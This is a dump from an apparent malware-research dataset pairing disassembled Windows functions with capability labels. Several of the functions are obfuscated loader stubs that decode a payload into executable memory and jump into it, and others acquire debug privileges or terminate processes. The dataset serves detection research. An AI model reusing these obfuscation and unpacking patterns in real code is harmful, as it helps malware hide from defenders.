joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10016548
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x100165e5
push ebx
push esi
call fcn.10016511
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10015265
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10016592
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100165e4
push edi
push eax
call fcn.100130a7
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100165b2
call fcn.10010bb2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100165e3
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10015265
add esp, 0x20
test eax, eax
jne 0x100165d1
push edi
call fcn.10010bb2
jmp 0x100165d9
push ebx
call fcn.10010bb2
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10018b12
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.10010f58
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10018b81
cmp esi, dword [ebp - 4]
je 0x10018b7c
cmp dword [ebp + 0xc], 0
je 0x10018b7c
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x10018b59
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.10018664
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x10018b83
xor eax, eax
inc eax
jmp 0x10018b83
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x10018be8
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10028040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.10010f58
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.10010f58
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x10018c5f
cmp word [ecx], dx
je 0x10018c5f
mov eax, dword [0x10021d84]
push edi
dec eax
push eax
push 0x10021c70
call fcn.10018b87
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x10018cd2
cmp word [eax], dx
je 0x10018cd2
mov eax, dword [edi]
test eax, eax
je 0x10018c83
cmp word [eax], dx
je 0x10018c83
lea eax, [ebp - 0x10]
push eax
call fcn.1001856a
jmp 0x10018c8c
lea eax, [ebp - 0x10]
push eax
call fcn.10018605
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x10018cfc
mov eax, dword [0x10021c6c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x10021960
call fcn.10018b87
add esp, 0xc
test al, al
je 0x10018cfc
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x10018cc7
cmp word [eax], di
je 0x10018cc7
lea eax, [ebp - 0x10]
push eax
call fcn.1001856a
pop ecx
jmp 0x10018cfe
lea eax, [ebp - 0x10]
push eax
call fcn.10018605
jmp 0x10018cc4
mov eax, dword [edi]
test eax, eax
je 0x10018ce9
cmp word [eax], dx
je 0x10018ce9
lea eax, [ebp - 0x10]
push eax
call fcn.1001851f
pop ecx
jmp 0x10018cfc
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x10018dc7
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.10018a0c
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x10018dc7
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x10018dc7
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x10018dc7
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x10018d54
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.10012f4e
test ebx, ebx
je 0x10018dc2
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.10012f4e
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10018dc7
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10018dc7
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.1001acf2
add esp, 0x10
xor eax, eax
inc eax
jmp 0x10018dc9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10009789
leave
ret
Function at 0x1001c900
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001c92d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001c92d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x401c66
pop dword [ebp - 8]
mov eax, 0x401c66
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x567d5e8c
sub dword [ebp - 0x18], 0x82b1941
mov dword [ebp - 0x14], 0xef82dfa1
sub dword [ebp - 0x14], 0xbd4f935c
mov dword [ebp - 0x10], 0xd412d866
add dword [ebp - 0x10], 0x78396bc8
mov dword [ebp - 0xc], 0x18c60b30
add dword [ebp - 0xc], 0xe739f4d0
lea eax, [ebp - 0x18]
push eax
mov eax, 0x3de18931
add eax, 0xc25ea723
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xd38aefb8
sub dword [ebp - 0x18], 0x5f188662
mov dword [ebp - 0x14], 0xb7c74a54
add dword [ebp - 0x14], 0x89a51721
mov dword [ebp - 0x10], 0x40e33689
add dword [ebp - 0x10], 0x228c35e3
mov dword [ebp - 0xc], 0x7ef94065
add dword [ebp - 0xc], 0x8106bf9b
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x317bb2e2
add eax, 0xcec47d4a
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x34396
push 0
call eax
mov ecx, 0x8725b12f
sub ecx, 0x87257236
mov esi, eax
mov edx, 0xea17abfe
add edx, 0x1628c402
add edx, dword [ebp - 8]
mov edi, 0x64469638
add edi, 0xd902c1e7
xor dword [ebp - 4], 0x97963765
mov ebx, dword [edx]
add ebx, edi
mov dword [ebp - 4], 0x66f75aba
mov dword [esi], ebx
mov dword [ebp - 4], 0x8311e516
add esi, 0x4dcf7b7c
add esi, 0xb2308488
add edx, 4
loop 0x401d83
add eax, 0xabd380e7
add eax, 0x542d6dd0
mov ebx, eax
add eax, 0x39737957
sub eax, 0x39737952
mov ecx, 0x46589f18
sub ecx, 0x46189f18
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x401c66
pop dword [ebp - 0x24]
mov eax, 0x28caa9a
sub eax, 0x24c8e34
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x4351ce5e
sub dword [ebp - 0x34], 0xf4ff8913
mov dword [ebp - 0x30], 0x54d58ddc
sub dword [ebp - 0x30], 0x22a24197
mov dword [ebp - 0x2c], 0x85f9aa2
add dword [ebp - 0x2c], 0x43eca98c
mov dword [ebp - 0x28], 0xc551f2ad
add dword [ebp - 0x28], 0x3aae0d53
lea eax, [ebp - 0x34]
push eax
mov eax, 0x3a87274f
sub eax, 0x3a46f6fb
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x81bde05a
sub dword [ebp - 0x34], 0xd4b7704
mov dword [ebp - 0x30], 0x6c4db6f7
sub dword [ebp - 0x30], 0x2ae15582
mov dword [ebp - 0x2c], 0xae4345c1
add dword [ebp - 0x2c], 0xb52c26ab
mov dword [ebp - 0x28], 0xdf2fb61f
add dword [ebp - 0x28], 0x20d049e1
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xcb0e163d
sub eax, 0xcacde611
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3724a
push 0
call eax
mov ecx, 0x4aa6
mov ebx, eax
mov esi, 0xe40adf3c
add esi, 0x1c3590c4
add esi, dword [ebp - 0x24]
mov edi, 0xe41767b1
sub edi, 0xb09a7bb6
sub dword [ebp - 0x10], 0xda4d9ace
mov edx, dword [esi]
mov dword [ebp - 4], 0xeed56ee9
xor edx, edi
xor dword [ebp - 0x1c], 0x8577dba2
mov dword [ebx], edx
mov dword [ebp - 8], 0xfb6a59be
add ebx, 0x4475e0f6
sub ebx, 0x4475e0f2
add esi, 0x68cc96af
add esi, 0x97336955
loop 0x401d82
add eax, 0x62762c38
sub eax, 0x62750ecd
xor ebx, ebx
add ebx, eax
add eax, 0xc6871721
add eax, 0x3978e8e4
mov ecx, 0xada56d5
add ecx, 0xf565a92b
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x40b6bc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
xor eax, eax
mov edx, eax
push esi
mov esi, dword [ebp + 8]
and ecx, 0xfffffffc
jbe 0x40b700
rol eax, 5
xor eax, dword [edx + esi]
add edx, 4
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, 4
imul eax, eax, 0x9e3779b9
cmp edx, ecx
jb 0x40b6cf
jmp 0x40b700
movsx ecx, byte [edx + esi]
rol eax, 5
xor eax, ecx
imul eax, eax, 0x9e3779b9
inc edx
cmp edx, dword [ebp + 0xc]
jb 0x40b6f0
pop esi
pop ebp
ret

Function at 0x40c458
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 1
lea esi, [ebx - 1]
push 0x2000
not esi
push ebx
and esi, 0xf0deafff
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
cmp edi, esi
jne 0x40c48d
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp esi, dword [ebp - 0x18]
jb 0x40c4b7
lea eax, [esi + ebx]
cmp eax, dword [ebp - 0x18]
jb 0x40c4b7
test edi, edi
je 0x40c484
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x40c484
test edi, edi
je 0x40c4bf
mov eax, edi
jmp 0x40c486
push 1
push 0x2000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x40c486
mov esi, 0xc3
push esi
push str.c:_builds_moz2_slave_m_in_w32_d_0000000000000000000_build_src_mfbt_Poison.cpp
push str.no_usable_poison_region_identified
call fcn.0040efd5
add esp, 0xc
int3
Function at 0x40f009
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestSplayTree.exe_gMozillaPoisonSize], eax
call fcn.0040c458
pop ecx
mov ecx, dword [sym.TestSplayTree.exe_gMozillaPoisonSize]
mov dword [sym.TestSplayTree.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x40f041
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestSplayTree.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4016a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x4015e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esp, ebp
pop ebp
ret

Function at 0x4016d0
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0x9e3779b9
mov dword [ebp - 0x14], 0x20
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
sub edx, 1
mov dword [ebp - 0x14], edx
test ecx, ecx
jbe 0x40176a
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x10]
shl ecx, 4
mov edx, dword [ebp + 0xc]
add ecx, dword [edx]
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 4]
xor ecx, eax
mov edx, dword [ebp - 0x10]
shr edx, 5
mov eax, dword [ebp + 0xc]
add edx, dword [eax + 4]
xor ecx, edx
mov edx, dword [ebp - 8]
add edx, ecx
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
shl eax, 4
mov ecx, dword [ebp + 0xc]
add eax, dword [ecx + 8]
mov edx, dword [ebp - 8]
add edx, dword [ebp - 4]
xor eax, edx
mov ecx, dword [ebp - 8]
shr ecx, 5
mov edx, dword [ebp + 0xc]
add ecx, dword [edx + 0xc]
xor eax, ecx
mov ecx, dword [ebp - 0x10]
add ecx, eax
mov dword [ebp - 0x10], ecx
jmp 0x4016fc
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 8]
mov dword [edx], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
mov dword [ecx + 4], edx
mov esp, ebp
pop ebp
ret

Function at 0x401780
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0x9e3779b9
mov dword [ebp - 0x14], 0x20
mov ecx, dword [ebp - 0xc]
shl ecx, 5
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
sub eax, 1
mov dword [ebp - 0x14], eax
test edx, edx
jbe 0x40181c
mov ecx, dword [ebp - 8]
shl ecx, 4
mov edx, dword [ebp + 0xc]
add ecx, dword [edx + 8]
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
xor ecx, eax
mov edx, dword [ebp - 8]
shr edx, 5
mov eax, dword [ebp + 0xc]
add edx, dword [eax + 0xc]
xor ecx, edx
mov edx, dword [ebp - 0x10]
sub edx, ecx
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
shl eax, 4
mov ecx, dword [ebp + 0xc]
add eax, dword [ecx]
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 4]
xor eax, edx
mov ecx, dword [ebp - 0x10]
shr ecx, 5
mov edx, dword [ebp + 0xc]
add ecx, dword [edx + 4]
xor eax, ecx
mov ecx, dword [ebp - 8]
sub ecx, eax
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 4], edx
jmp 0x4017ae
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x10]
mov dword [edx + 4], eax
mov esp, ebp
pop ebp
ret
Function at 0x4018f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x104
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x4011f0
mov edx, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x401a80
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x401aa1
xor eax, eax
jmp 0x401ade
mov dword [ebp - 8], 0
push 0xffffffffffffffff
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x401ac1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
cmp dword [ebp - 8], 0
sete al
mov esp, ebp
pop ebp
ret

Function at 0x401af0
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [ebp + 0x14], 0
jl 0x401b05
cmp dword [ebp + 0x14], 0x7fffffff
jne 0x401b26
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
jmp 0x401b45
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
cmp dword [ebp - 0xc], 0xffffffff
je 0x401bb5
cmp dword [ebp + 0x14], 0x7fffffff
jne 0x401b6a
push 0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp + 0x14], eax
cmp dword [ebp + 0x14], 0
jl 0x401b82
push 0
push 0
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401bb9
xor eax, eax
jmp 0x401bbc
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x402180
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 0x1c]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x40219f
jmp 0x40220a
lea ecx, [ebp - 0x18]
push ecx
push 0x401264
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x4021c0
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40220a
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 2
push 0
push 0
push 0x10
lea edx, [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x402200
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40220a
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.10009830
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10009830
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.10009830
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.10009830
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.10009830
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.10009830
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.10009830
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.10009830
push 0xd008
push edi
call fcn.10009830
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.10009830
int3

Function at 0x10009830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1000983f
pop dword [ebp - 0x14]
mov eax, 0x1000983f
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x37fa3
push 0
mov eax, 0xb8b7a062
add eax, 0x5749a002
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0xf5e4041a
sub ecx, 0xf5e3c033
mov ebx, eax
mov edx, 0xca34fc59
sub edx, 0xba337659
add edx, dword [ebp - 0x14]
mov edi, 0xf68b9210
add edi, 0xa6d83918
sub dword [ebp - 0x10], 0xdd39266
mov esi, dword [edx]
add esi, edi
add dword [ebp - 0xc], edi
mov dword [ebx], esi
xor dword [ebp - 0x10], 0xa5684adf
add ebx, 0x2d8ee74
add ebx, 0xfd271190
add edx, 0x4033a796
sub edx, 0x4033a792
loop 0x10009899
add eax, 0xd5dd3162
add eax, 0x2a23d10d
xor ebx, ebx
add ebx, eax
add eax, 0x709f3080
sub eax, 0x709f307b
mov ecx, 0xcfeb62a4
add ecx, 0x40149d5c
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x10033b30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x10033b3f
pop dword [ebp - 0x34]
mov eax, 0xfccce19a
add eax, 0x133659a5
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xab2710bc
sub dword [ebp - 0x44], 0x5cd4cb71
mov dword [ebp - 0x40], 0xc01a7e32
sub dword [ebp - 0x40], 0x8de731ed
mov dword [ebp - 0x3c], 0xf76f474c
add dword [ebp - 0x3c], 0x54dcfce2
mov dword [ebp - 0x38], 0x59ab20f3
sub dword [ebp - 0x38], 0x59ab20f3
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x6abcd751
sub dword [ebp - 0x44], 0xf64a6dfb
mov dword [ebp - 0x40], 0xdd1fc752
add dword [ebp - 0x40], 0x644c9a23
mov dword [ebp - 0x3c], 0xd105d6f1
sub dword [ebp - 0x3c], 0x6d966a85
mov dword [ebp - 0x38], 0xaa176c4d
add dword [ebp - 0x38], 0x55e893b3
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0xaa9dde3e
sub eax, 0x9a99fdba
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x44c97
push 0
call eax
mov ecx, 0x1916953
sub ecx, 0x19104aa
mov edx, eax
mov ebx, 0x10071200
add ebx, dword [ebp - 0x34]
mov esi, 0xbc550bfd
sub dword [ebp - 0x24], 0x7d94e071
mov edi, dword [ebx]
add dword [ebp - 0x28], edx
xor edi, esi
add dword [ebp - 0x1c], ebx
mov dword [edx], edi
add edx, 0x7f39eead
add edx, 0x80c61157
add ebx, 0x3f8f5d4e
add ebx, 0xc070a2b6
loop 0x10033c50
add eax, 0x18577
xor ebx, ebx
add ebx, eax
add eax, 0x23bfd032
add eax, 0xdc402fd3
mov ecx, 0x81203029
add ecx, 0x8edfcfd7
add ecx, dword [ebp - 0x34]
call ebx
leave
ret